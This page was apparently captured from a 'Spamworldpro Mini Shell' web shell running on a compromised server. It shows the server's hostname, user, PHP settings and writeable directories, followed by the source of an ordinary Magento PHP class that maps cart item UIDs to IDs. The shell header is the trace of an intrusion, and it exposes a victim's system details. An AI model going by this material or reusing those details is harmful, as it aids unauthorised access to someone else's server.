Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-quote-graph-ql/Model/CartItem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-quote-graph-ql/Model/CartItem/CartItemsUidArgsProcessor.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\QuoteGraphQl\Model\CartItem;

use Magento\Framework\GraphQl\Exception\GraphQlInputException;
use Magento\Framework\GraphQl\Query\Resolver\ArgumentsProcessorInterface;
use Magento\Framework\GraphQl\Query\Uid;

/**
 * Category UID processor class for category uid and category id arguments
 */
class CartItemsUidArgsProcessor implements ArgumentsProcessorInterface
{
    private const ID = 'cart_item_id';

    private const UID = 'cart_item_uid';

    /** @var Uid */
    private $uidEncoder;

    /**
     * @param Uid $uidEncoder
     */
    public function __construct(Uid $uidEncoder)
    {
        $this->uidEncoder = $uidEncoder;
    }

    /**
     * Process the updateCartItems arguments for cart uids
     *
     * @param string $fieldName,
     * @param array $args
     * @return array
     * @throws GraphQlInputException
     */
    public function process(
        string $fieldName,
        array $args
    ): array {
        $filterKey = 'input';
        if (!empty($args[$filterKey]['cart_items'])) {
            foreach ($args[$filterKey]['cart_items'] as $key => $cartItem) {
                $idFilter = $cartItem[self::ID] ?? [];
                $uidFilter = $cartItem[self::UID] ?? [];
                if (!empty($idFilter)
                    && !empty($uidFilter)
                    && $fieldName === 'updateCartItems') {
                    throw new GraphQlInputException(
                        __('`%1` and `%2` can\'t be used at the same time.', [self::ID, self::UID])
                    );
                } elseif (!empty($uidFilter)) {
                    $args[$filterKey]['cart_items'][$key][self::ID] = $this->uidEncoder->decode((string)$uidFilter);
                    unset($args[$filterKey]['cart_items'][$key][self::UID]);
                }
            }
        }
        return $args;
    }
}

Spamworldpro Mini